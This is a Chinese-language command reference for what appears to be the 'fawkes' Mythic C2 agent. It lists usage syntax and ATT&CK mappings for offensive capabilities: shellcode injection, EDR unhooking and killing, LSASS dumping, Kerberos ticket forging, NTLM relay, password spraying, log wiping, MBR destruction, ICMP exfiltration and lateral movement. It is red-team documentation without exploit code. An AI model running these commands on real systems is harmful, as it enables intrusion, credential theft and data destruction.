link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | 通过TCP或命名管道连接到P2P代理以进行内部跳转。命名管道模式使用SMB端口445以实现更隐蔽的Windows流量。跨平台TCP,仅Windows命名管道 (T1572)。
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | 创建符号链接或硬链接。符号链接可以指向不存在的路径。强制模式替换现有链接。跨平台 (T1036)。
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(仅Linux)** 列出、读取、清除或篡改Linux日志文件和二进制登录记录 (wtmp/btmp/utmp)。支持选择性删除行和安全粉碎 (T1070.002)。
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows、Linux、macOS)** 枚举活动登录会话——用户、会话ID、工作站、连接状态。按用户名过滤。Windows:WTS API。Linux:utmp解析。macOS:utmpx解析。
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows、Linux、macOS)** LOLBin/GTFOBin代理执行。Windows:rundll32、msiexec、regsvcs、regasm、mshta、certutil、regsvr32、installutil、vbs。跨平台:python、lua、perl、ruby、node、awk。Linux:curl、wget、gcc。macOS:osascript、swift、open、curl。T1218/T1059。
ls | `ls [path]` | 列出文件和文件夹,包含所有者/组和时间戳。文件浏览器集成。默认为当前工作目录。
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(仅Windows)** 从凭据创建令牌:模拟它、生成进程或**auto-verify**(模拟然后whoami + getprivs链)(T1134.002)。
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | 文件伪装和隐藏——伪装文件(双扩展名、RtLO、空格、进程匹配)或隐藏不被枚举(隐藏/取消隐藏)。Windows:+H/+S属性。Linux:点前缀。macOS:UF_HIDDEN + 点前缀 (T1036, T1564.001)。
mkdir | `mkdir <directory>` | 创建新目录(如需要会创建父目录)。
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(仅Windows)** 通过覆写合法DLL的.text节来注入shellcode。Shellcode从已签名DLL的地址空间执行,绕过私有内存检测 (T1055.001)。
modules | `modules [-pid <PID>] [-filter <name>]` | 列出进程中的已加载模块/DLL/库,可选择性名过滤。跨平台 (T1057)。
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | 在进程内存中搜索字节模式并输出十六进制转储。Windows:VirtualQueryEx/ReadProcessMemory。Linux:/proc/pid/maps+mem。macOS:mach_vm_region/mach_vm_read(仅自扫描)。支持字符串和十六进制模式。跨平台 (T1005, T1057)。
mount | `mount [-filter <substring>] [-fstype <type>]` | 列出已挂载的文件系统,包含设备、挂载点、类型和选项。支持按名称或文件系统类型过滤。跨平台 (T1082)。
mv | `mv <source> <destination>` | 将文件从源移动或重命名为目标。
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows、Linux、macOS)** 列出命名管道(Windows)、Unix域套接字和FIFO(Linux/macOS)以发现IPC。支持子字符串过滤 (T1083)。
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows、Linux、macOS)** 跨平台网络枚举。用户、组、组成员、管理员、会话、共享。Windows:Win32 NetAPI(域查询、映射驱动器)。Linux:/etc/passwd + /etc/group + utmp + NFS/Samba。macOS:dscl + who + sharing。(T1033, T1049, T1087, T1135)。
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | 通过LDAP枚举AD组成员身份。递归成员解析、用户组查找、特权组枚举。跨平台 (T1069.002)。
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | 管理本地用户账户和组成员身份。Windows:netapi32 API。Linux:useradd/userdel/usermod/chpasswd。macOS:dscl/dseditgroup。禁用/启用/锁定用于T1531勒索软件模拟。跨平台 (T1136.001, T1098, T1531)。
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | 列出活动网络连接和监听端口,包含协议、状态、PID和进程名称。支持按状态、协议、端口和进程ID过滤。跨平台。
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(仅Windows)** 通过从干净副本恢复.text节来移除DLL中的EDR内联钩子。支持5个DLL或`all`。`check`报告钩子而不修改。`knowndlls`源使用\\KnownDlls\\节对象(避免磁盘I/O——更有利于OPSEC)(T1562.001)。
syscalls | `syscalls [-action status\|list\|init]` | **(仅Windows)** 间接系统调用解析器。解析ntdll导出以解析Nt*系统调用号,并生成跳转到ntdll的syscall;ret小工具的存根。激活时,注入命令绕过用户态API钩子 (T1106)。
opus-injection | `opus-injection` | **(仅Windows)** 基于回调的进程注入。变体1:Ctrl-C处理程序链。变体4:PEB KernelCallbackTable。[详情](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows、Linux、macOS)** 安装或移除持久化。Windows:注册表、启动文件夹、COM劫持、屏幕保护程序、IFEO、Winlogon、打印处理器、辅助功能、Active Setup、时间提供程序、端口监视器、WMI事件 (T1546.003)、netsh助手 (T1546.007)。Linux:crontab、systemd、shell配置文件、SSH密钥、XDG自动启动、motd(root, T1546)、rc-local(root, T1037.004)、apt钩子(root, T1546)、udev规则(root, T1546)。macOS:launchagent、periodic(root, T1053.003)、folder-action (T1546)、login-item (T1547.015)、auth-plugin(root, T1547.002)、dylib-hijack (T1574.004, 扫描/安装/移除)、xpc-service (MachServices + KeepAlive)。所有方法支持安装/移除/列出。
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows、Linux、macOS)** 只读枚举持久化机制。Windows:注册表、启动、任务、服务。Linux:cron、systemd、shell配置文件、SSH密钥、LD_PRELOAD、udev规则、内核模块、motd、at作业、D-Bus服务、PAM模块、包钩子、logrotate脚本、NetworkManager分发器、anacron。macOS:LaunchAgents、登录项、定期脚本、认证插件、emond、at作业 (T1547, T1546, T1053, T1543, T1556)。
password-managers | `password-managers [-depth <N>]` | 发现密码管理器数据库和配置文件——KeePass (.kdbx)、1Password、Bitwarden、LastPass、Dashlane、KeePassXC。跨平台 (T1555)。
poolparty-injection | `poolparty-injection` | **(仅Windows)** 使用滥用Windows线程池内部的PoolParty技术注入shellcode。支持所有8种变体。[详情](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` 或 `ping -action exfil-icmp -target <IP> -file <path>` | TCP连接主机可达性 (T1018) + 通过带有XOR编码和抖动的echo请求载荷进行ICMP数据外泄 (T1048.003, T1095)。
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(仅Windows)** 命名管道模拟用于权限提升。创建管道服务器,等待特权客户端连接,模拟令牌。需要SeImpersonatePrivilege (T1134.001)。
printspoofer | `printspoofer [-timeout 15]` | **(仅Windows)** PrintSpoofer权限提升——通过打印后台处理程序从SeImpersonate到SYSTEM。创建命名管道,通过OpenPrinterW触发后台处理程序连接,模拟SYSTEM令牌。一步完成NETWORK SERVICE → SYSTEM (T1134.001)。
pkg-list | `pkg-list [-filter <substring>]` | 列出已安装的包和软件。枚举dpkg/rpm/apk(Linux)、Homebrew/应用程序(macOS)或注册表卸载键(Windows)。支持名称过滤。跨平台 (T1518)。
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | TCP连接扫描用于网络服务发现。支持CIDR、IP范围和端口范围。跨平台。
powershell | `powershell <command> [--encoded]` | **(仅Windows)** 通过powershell.exe执行PowerShell命令,使用OPSEC强化标志(缩写、随机化)。支持编码命令模式以隐藏参数不被进程树看到。
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(仅Windows)** 解析和管理Windows Prefetch文件。列出已执行的程序、解析运行历史(最多8个时间戳)、删除特定条目或清除所有。支持MAM压缩文件 (T1070.004)。
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | 权限提升枚举和利用。`auto-escalate`:自动化子任务链——枚举所有向量,然后尝试最佳可用提升(UAC绕过、令牌窃取或sudo)。`hijack-execute`:自动化代理DLL工厂——读取目标DLL导出,服务器编译带有嵌入shellcode的代理DLL(mingw)。`hijack-deploy`:部署代理DLL(重命名原始DLL,放置代理)。`hijack-trigger`:触发劫持——重启服务 (`-trigger restart -service_name <svc>`) 或生成进程 (`-trigger spawn -source <exe>`) 以加载代理DLL。`hijack-cleanup`:撤销已部署的劫持(删除代理,恢复原始)。Windows:令牌权限、未引用服务、AlwaysInstallElevated、自动登录、UAC、无人值守文件、DLL劫持扫描(幻影DLL、可写PATH、KnownDLLs)、带时间戳的DLL植入、DLL侧加载、PE导出枚举(dll-exports含DEF文件生成)、服务注册表权限滥用。Linux:SUID/SGID、能力、sudo、容器、cron劫持、NFS no_root_squash、systemd单元、sudo令牌、PATH劫持、docker组、危险组、Polkit规则、modprobe钩子、ld.so.preload注入、安全模块(AppArmor/SELinux)。macOS:LaunchDaemons、TCC、dylib劫持、SIP。跨平台 (T1548, T1574.001, T1574.002, T1574.009, T1574.011)。
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` 或 `psexec -action check -host <target>` | **(仅Windows)** 通过SCM服务创建在远程主机上执行命令——PSExec风格横向移动。`check`验证先决条件(SMB 445、SCM访问、管理员共享)而不执行。MITRE T1021.002, T1569.002。
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(仅Linux)** 深度/proc检查:进程详细信息(命令行、环境、能力、cgroup、命名空间、文件描述符)、带PID解析的网络连接、挂载、内核模块。MITRE T1057。
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(仅Windows)** 查询或设置进程缓解策略(DEP、ASLR、CIG、ACG、CFG)。设置CIG以阻止未签名DLL加载(EDR防御)。MITRE T1480。
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | 以树形显示进程层次结构,包含父子关系。有助于识别注入目标和安全工具。跨平台 (T1057)。
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | 转储进程内存。Windows:带LSASS自动发现的MiniDumpWriteDump。Linux:/proc/pid/mem区域转储。搜索动作查找持有凭据的进程。上传到Mythic并从磁盘清理。MITRE T1003.001, T1003.007。
proxy-check | `proxy-check [-test_url <URL>]` | 从环境变量、操作系统配置(注册表、配置文件)和Go传输检测代理设置。可选连接测试。跨平台 (T1016)。
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | 列出正在运行的进程,集成Mythic进程浏览器。按名称、PID、父PID或用户名过滤。跨平台。
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(仅Linux,amd64/arm64)** 通过ptrace进行进程注入——PTRACE_ATTACH/POKETEXT/SETREGS并恢复寄存器和代码。Yama ptrace_scope预检查并提供可操作指导。检查模式报告ptrace_scope、能力和候选 (T1055.008)。
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** 通过Mythic的交互式任务启动交互式PTY shell会话。全终端模拟,支持双向I/O (T1059)。
pwd | `pwd` | 打印工作目录。
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(仅Windows)** 从DLL函数地址读取字节。
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(仅Windows)** 统一注册表操作——读取、写入、删除、搜索和保存配置单元 (T1012, T1112, T1003.002)。
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | 通过SMB命名管道上的WinReg RPC在远程Windows主机上读取/写入注册表。支持传递哈希。跨平台 (T1012, T1112, T1021.002)。
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | 通过SVCCTL RPC管理远程Windows主机上的服务。标准操作 + 高级横向移动:modify-path(劫持现有服务binpath)、trigger(创建触发启动服务)、dll-sideload(ServiceDll注册表劫持)。支持传递哈希。跨平台 (T1569.002, T1543.003, T1574.001)。
rev2self | `rev2self` | **(仅Windows)** 通过丢弃任何活动的模拟令牌恢复到原始安全上下文。
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | 显示系统路由表,支持可选过滤。Windows:GetIpForwardTable API,Linux:/proc/net/route + IPv6,macOS:netstat -rn。跨平台 (T1016)。
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | 端口转发:反向(Mythic路由到目标)或正向(代理中继到内部目标)。跨平台 (T1090)。
rm | `rm [-path <path>] [-secure true]` | 删除文件或目录。`-secure true`在删除前用随机数据覆盖(3次),防止取证恢复 (T1070.004)。
run | `run <command>` | 执行shell命令并返回输出。
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | 以不同用户身份执行命令。Windows:CreateProcessWithLogonW(支持 /netonly)。Linux/macOS:setuid为root,或使用密码的sudo -S。跨平台 (T1134.002)。
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | 管理计划任务。Windows:任务计划程序COM API。Linux:crontab、systemd定时器、at作业。macOS:LaunchAgents/LaunchDaemons、crontab、at。跨平台 (T1053)。
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | 捕获单个截图或按间隔连续截图。上传为PNG。record模式:可配置间隔/持续时间/最大帧数,可通过jobkill停止。Windows:GDI。macOS:screencapture。Linux:X11/Wayland自动检测。跨平台 (T1113)。
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | 搜索文件中的机密、API密钥、私钥、连接字符串和敏感模式。42个正则表达式模式(AWS、GitHub、Slack、Stripe、Vault、DigitalOcean、Shopify、Databricks、New Relic、PagerDuty、Okta、Sentry、Datadog、CircleCI等),带值编辑。深度限制的目录遍历,跳过噪声目录。跨平台 (T1552.001, T1005)。
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | 安全删除文件、擦除数据或破坏引导记录。`delete`:随机覆盖+删除。`wipe`:激进模式破坏 (T1485)。`wipe-mbr`:覆盖原始磁盘设备上的MBR/GPT引导记录 (T1561)。需要安全门。跨平台 (T1070.004, T1485, T1561)。
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | 报告安全态势和活动控制、检测EDR/XDR产品(20+供应商)、枚举minifilter驱动程序并分类EDR,或列出已加载的内核驱动程序并进行EDR/回调分析。SELinux/AppArmor/seccomp/ASLR(Linux)、SIP/Gatekeeper/FileVault(macOS)、Defender/UAC/Credential Guard/BitLocker(Windows)。跨平台 (T1082, T1518.001)。
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | 网络嗅探、投毒和NTLM中继。`capture`:被动凭据提取(HTTP、FTP、NTLM、Kerberos、LDAP、SMTP AUTH、Telnet)。`poison`:主动响应者带SMB+HTTP哈希捕获——NTLMv2哈希(hashcat模式5600)。`relay`:向目标SMB中继NTLM。`ldap-relay`:向目标LDAP中继NTLM并执行认证后操作(whoami、add-computer、RBCD、dump-laps)(T1040, T1557.001)。
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | 跨多个主机爬取SMB共享以查找敏感文件——凭据、配置、脚本。递归目录搜索,支持传递哈希。跨平台 (T1135, T1039)。
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | 在远程共享上的SMB2文件操作——列出、浏览、读取/写入/删除、推送(用于横向工具传输)、外泄(用于数据外泄)、污染(用于植入文件)。**share-perms**:测试所有共享的读/写访问。**share-spider**:递归目录列表,带深度/扩展名过滤。**share-search**:使用内置或自定义模式跨共享查找敏感文件。NTLM认证 + 传递哈希。跨平台 (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003)。
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows、Linux、macOS)** 管理服务 + 针对EDR/AV。`edr-enum`:检测已安装的安全服务(60+签名)。`edr-kill`:停止+禁用检测到的EDR(需要安全门)。Windows SCM、Linux systemd、macOS launchd (T1543, T1489, T1562.001)。
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | 设置或取消设置代理进程中的环境变量。跨平台。
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | 读取shell历史,列出/读取/注入/移除/清除shell配置文件。Linux/macOS:bashrc/zshrc。Windows:PowerShell配置文件 + PSReadLine历史。T1546.004/T1546.013/T1552.003/T1070.003。
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` 或 `sleep -interval 60 -jitter 30 -jitter_profile normal` | 设置回连间隔、抖动、工作时间和抖动分布模式(均匀/正态/指数)。正态分布集中在间隔附近;指数模拟突发性人类模式。
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | 启动、停止、查看统计或设置SOCKS5代理的带宽。支持TCP CONNECT和UDP ASSOCIATE (RFC 1928) 中继,用于通过代理的DNS/UDP工具。可选每连接带宽限制(KB/s)。统计显示活动连接、发送/接收字节、最近历史。
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | 对文件的行进行排序。支持字母、数字、反向和唯一模式。跨平台 (T1083)。
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(仅Windows)** 生成挂起的进程或线程以便注入。支持PPID欺骗 (T1134.004) 和非Microsoft DLL阻止。
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | 通过Kerberos预认证、LDAP绑定或SMB认证对AD进行密码喷洒。SMB支持传递哈希。锁定感知,可配置延迟/抖动。跨平台 (T1110.003, T1550.002)。
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | 执行命令、推送文件或创建SSH隧道。`check`验证SSH先决条件(端口、认证、shell)。tunnel-local (-L)、tunnel-remote (-R)、tunnel-dynamic (-D SOCKS5)。跨平台 (T1021.004, T1570, T1572)。
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(仅Linux/macOS)** 枚举SSH代理套接字并列出已加载的密钥。发现SSH_AUTH_SOCK,扫描/tmp/ssh-*、/run/user/*、GNOME密钥环。报告密钥指纹到凭据存储 (T1552.004)。
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | SSH密钥管理和横向移动自动化。读取/注入authorized_keys、读取私钥、生成密钥对、枚举SSH配置。横向移动:find-reachable(子网扫描)、try-keys(测试密钥)、auto-move(链式扫描→认证→执行)。Windows:PuTTY会话/注册表、.ppk密钥、WSL、OpenSSH、Git SSH配置。跨平台 (T1552.004, T1552.002, T1098.004, T1021.004, T1046)。
stat | `stat -path <file_or_dir>` | 显示文件/目录元数据:类型、大小、权限、时间戳。平台特定详情——inode/所有者(Linux/macOS)、文件属性(Windows)。通过Lstat感知符号链接。跨平台 (T1083)。
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | 从文件中提取可打印的ASCII字符串。在二进制文件中查找嵌入的文本、URL、凭据。模式过滤、最小长度控制、偏移/最大大小。跨平台 (T1005)。
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(仅Windows)** 初始化CLR v4或执行.NET程序集。`execute-assembly`动作自动修补AMSI+ETW并一步运行程序集(类似CS execute-assembly)。手动模式使用-amsi_patch/-etw_patch进行精细控制。
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(仅Linux)** 安装、移除或列出systemd服务/定时器持久化。用户或系统范围。MITRE T1543.002。
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(仅Windows)** 从另一个进程窃取令牌:模拟它,或用它生成进程 (T1134.002)。
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(仅Windows)** 命名令牌保管库——保存、列出、使用、移除和查看身份转换历史。无需重新窃取即可在窃取/创建的身份之间快速切换 (T1134.001)。
suspend | `suspend -action <suspend\|resume> -pid <PID>` | 暂停或恢复进程。在敏感操作期间战术性暂停EDR/AV。Windows:NtSuspendProcess/NtResumeProcess。Linux/macOS:SIGSTOP/SIGCONT。跨平台 (T1562.001)。
sysinfo | `sysinfo [-action info\|full-profile]` | 全面系统信息:操作系统版本、硬件、内存、运行时间、域、.NET(Windows)、SELinux/SIP状态。`full-profile`运行自动化的5步主机分析链(sysinfo → ps → security-info → privesc-check → persist-enum)。跨平台 (T1082)。
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(仅Windows)** 检测Sysmon安装并提取配置——服务/驱动程序状态、哈希算法、选项标志、规则数据大小、事件通道。通过minifilter海拔检测重命名安装 (T1518.001, T1562.001)。
tac | `tac -path <file>` | 反向打印文件行。适用于从最新到最旧查看日志。跨平台 (T1083)。
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | 读取文件的前N行/字节或后N行/字节,无需传输全部内容。环形缓冲区实现高效tail,大文件反向查找。跨平台 (T1005, T1083)。
tcc-check | `tcc-check [-service <filter>]` | **(仅macOS)** 枚举TCC(透明、同意和控制)权限。发现哪些应用拥有相机、麦克风、屏幕录制、完全磁盘访问权限。按服务分组并显示允许摘要 (T1082)。
touch | `touch -path <file> [-mkdir true]` | 创建空文件或更新现有文件的时间戳。可选创建父目录。跨平台 (T1106)。
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows、macOS)** 通过线程执行劫持注入shellcode——挂起现有线程,将PC/RIP重定向到shellcode,恢复。macOS使用Mach API (task_for_pid + thread_get/set_state),需要root (T1055.003)。
threadless-inject | `threadless-inject` | **(仅Windows)** 通过在远程进程中挂钩DLL函数来使用无线程注入注入shellcode。比普通注入更隐蔽,因为它不创建新线程。
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | 伪造、请求、续期、委派或证书认证Kerberos票据。Forge:金票/银票(离线)。Request:Overpass-the-Hash(在线)。Diamond:真实AS交换+票据修改以逃避检测。Renew:延长TGT生命周期。S4U:通过S4U2Self+S4U2Proxy进行约束委派。PKINIT:基于证书的认证(来自ADCS/影子凭据)。跨平台 (T1558.001, T1558.002, T1550.002, T1134.001, T1649)。
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | 转换、压缩或删除文件内容中的字符。支持字符类和范围。跨平台 (T1083)。
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | 查找高价值文件以便外泄——文档、凭据、配置、数据库 (.db/.sqlite)、脚本 (.py/.sh/.ps1)、归档 (.zip/.tar/.7z)、邮件文件 (.pst/.eml/.mbox)、最近修改的文件或自定义路径扫描。**recon-chain**:自动化子任务链——端口扫描 → SMB共享枚举 → 共享搜索 → 本地分类(需要目标、用户名/密码)。跨平台 (T1083, T1005)。
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | 通过LDAP枚举域/林信任,包含林拓扑、传递性分析、加密强度和攻击路径识别。跨平台 (T1482)。
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | 修改文件时间戳以融入环境。获取、从另一个文件复制、设置特定时间、匹配目录邻居(IQR)或在范围内随机。`clean-prefetch`删除指定可执行文件的Windows Prefetch文件。Windows还修改创建时间。
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(仅Windows)** RDP会话管理——列出、劫持、断开或注销会话。无需凭据即可接管会话 (T1563.002)。
ts | `ts [-a] [-i PID]` | **(仅Windows)** 列出进程中的线程。默认只显示可提醒线程(Suspended/DelayExecution)。使用-a显示所有线程,-i按PID过滤 (T1057)。
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(仅Windows)** 绕过UAC从中等完整性提升到高完整性。8种技术:注册表劫持、环境变量劫持、INF文件滥用、COM CLSID劫持、模拟受信任目录。默认生成提权回调 (T1548.002, T1218.003)。
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | 过滤或统计文件中重复的连续行。计数模式按频率排序。跨平台 (T1083)。
unlink | `unlink -connection_id <uuid>` | 断开已连接的P2P代理(TCP或命名管道)。跨平台 (T1572)。
uptime | `uptime` | 显示系统运行时间、启动时间和平均负载。跨平台 (T1082)。
upload | `upload` | 通过分块文件传输将文件上传到目标。支持gzip文件的自动解压。SHA256哈希验证。
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(仅Windows)** 查询或删除NTFS USN更改日志——销毁文件操作历史以进行反取证 (T1070.004)。
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | 向远程进程注入shellcode (inject)、迁移代理(migrate: 注入+退出)或使用LD_PRELOAD .so生成新进程(ldpreload: 仅Linux,无需ptrace,绕过Yama)。**Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread。**Linux (amd64/arm64):** /proc/PID/mem直接写入,通过memfd进行LD_PRELOAD。T1055.001, T1055.009, T1574.006。
vm-detect | `vm-detect [-action detect\|sandbox]` | 检测VM/虚拟机管理程序环境或分析沙箱躲避。`detect`:MAC OUI、DMI/SMBIOS、VM工具、SCSI、CPU hypervisor标志。`sandbox`:评分分析——CPU数量、RAM、磁盘、运行时间、睡眠定时、主机名、进程数、用户名。跨平台 (T1497, T1497.001)。
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | 影响技术:VSS管理(Windows)、恢复抑制 (T1490)、关机/重启 (T1529, 跨平台)。破坏性动作需要 -confirm true。MITRE T1003.003, T1490, T1529。
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | 监控目录的文件系统更改——通过轮询检测新增、修改和删除的文件。支持通配符过滤和MD5哈希检测。跨平台 (T1083, T1119)。
wc | `wc -path <file_or_dir> [-pattern <glob>]` | 统计文件中的行数、单词数、字符数和字节数。目录模式支持通配符模式过滤和总计。跨平台 (T1083)。
wdigest | `wdigest -action <status\|enable\|disable>` | **(仅Windows)** 管理WDigest明文凭据缓存。启用后可在下次登录时捕获明文密码。MITRE T1003.001, T1112。
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` 或 `winrm -action check -host <target> [-username <user> -password <pass>]` | 通过WinRM配合NTLM认证在远程Windows主机上执行命令。支持传递哈希、cmd.exe和PowerShell。`check`验证WinRM先决条件(端口5985/5986、认证、shell)。跨平台 (T1021.006, T1550.002)。
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(仅Windows)** 枚举可见应用程序窗口——显示HWND、PID、进程名、窗口类和标题。搜索按标题/进程/类过滤。MITRE T1010。
who | `who [-all true]` | 显示当前登录的用户和活动会话。Linux:解析utmp。Windows:WTS API。macOS:who命令。跨平台 (T1033)。
whoami | `whoami` | 显示当前用户身份和安全上下文。Windows:用户名、SID、令牌类型、完整性级别、组成员身份、权限。Linux:用户、UID、GID、组、有效能力(解码)、SELinux/AppArmor上下文、容器检测。macOS:用户、UID、GID、组。
